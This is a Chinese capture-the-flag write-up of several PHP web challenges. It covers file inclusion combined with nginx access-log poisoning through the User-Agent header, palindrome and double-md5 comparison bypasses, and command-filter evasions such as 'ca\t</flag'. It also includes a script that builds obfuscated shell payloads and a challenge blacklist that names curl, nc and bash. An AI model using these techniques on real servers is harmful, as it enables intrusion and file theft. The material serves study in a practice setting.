一个题也不会,膜膜大佬萌。

tcl

wuwu

WEB_ALL_INFO_U_WANT

扫一下叭

bak文件泄露

visit all_info_u_want.php and you will get all information you want
= =Thinking that it may be difficult, i decided to show you the source code:
<?php
error_reporting(0);
//give you all information you want
if (isset($_GET['all_info_i_want'])) {
    phpinfo();
}
if (isset($_GET['file'])) {
    $file = "/var/www/html/" . $_GET['file'];
    //really baby include
    include($file);
}
?>
really really really baby challenge right? 

明显的文件包含,然后发现了phpinfo文件。

/flag里是假的flag

image-20200505133956361

好像大师傅的本意是有两个的一个是文件包含+日志挂马,一个是文件包含+临时文件写马

起初是没看到临时文件的目录,我以为被禁用了,看了出题师傅的题解才知道还是可以用的。

首先明确日志目录

看到了服务器是nginx!!!!!!!!!!!,当时一直默认是apache了,东哥不提醒就自闭一辈子了。

此处膜亿次东哥。

image-20200505134225093

日志默认路径

/var/log/nginx/access.log

传马

172.2.0.2 - - [05/May/2020:06:43:46 +0000] 
"GET /favicon.ico HTTP/1.1" 200 2386 "https://8afc009e-742d-441e-8de9-1f7256f05b18.chall.ctf.show/all_info_u_want.php?file=../../../../../../../var/log/nginx/access.log" 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"

根据分析,每一条日志包括,ip地址,时间,方法,url,和User-Agent

但是在url里传木马的时候"<"会被编码成%3c,所以但是user-agent不会。

所以我萌可以利用User-Agent来传木马。

image-20200505144654052

image-20200505144532387

找flag

由于flag需要查找,所以通过find命令

grep -r "flag{" /etc #这样查询出来的包括文件名+内容
或
find /etc -type f | xargs grep "flag{" 

image-20200505145958835

image-20200505150331842

WEB_WUSTCTF朴实无华Revenge

源码:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.-]/', $num)) {
        die("非洲欢迎你1");
    }
    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧

isPalindrome函数是判断回文数的函数。

leve1

preg_match('/[^0-9.-]/', $num)

正则表达式:匹配不是0-9数字或者不是小数点、减号的内容。

所以我们只能输入数字。

$numPositve === $numReverse
!isPalindrome($num)

反转的数要和本来的值相等,并且不能是回文。

提供两个个。

<?
$num = "0.00";
$num = "-0";
$numPositve = intval($num);
$numReverse = intval(strrev($num));
echo $numPositve."==".$numReverse;

leve2

//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

这个算是md5的升级版了

md5=0e1138100474即可

leve3

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
get_flag=ls
get_flag=ca\t</flag

WEB_WUSTCTF朴实无华Revenge_Revenge

前面基本一样

然后这个flag目录换了一下,get_flag绕过即可

get_flag=ca\t<\flag.p\hp

WEB_你取吧

<?
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$code = "ls";
//$code = "cat hint.php";
$code = "cat /flag";
$payload = "";
for($i = 0; $i < strlen($code); ++$i){
    for($j = 0; $j < count($_); ++$j){
        if($code[$i]==$_[$j]){
            $payload .= "\$_[$j]";
            break;
        }
    }
}
echo "`".$payload."`";

利用黑名单即可

image-20200505155656534

cat /flag

`$_[2]$_[0]$_[19] /$_[5]$_[13]$_[0]$_[6]`

image-20200505161153848

另外

`$_[2]$_[0]$_[19] $_[7]$_[8]$_[12]$_[19].$_[15]$_[7]$_[15]`

hint.php里有马,可以挂马。

image-20200505161028080

也可

${$_[7].$_[8].$_[12].$_[19]}

读取hint值,在进行其他操作。

image-20200505163300045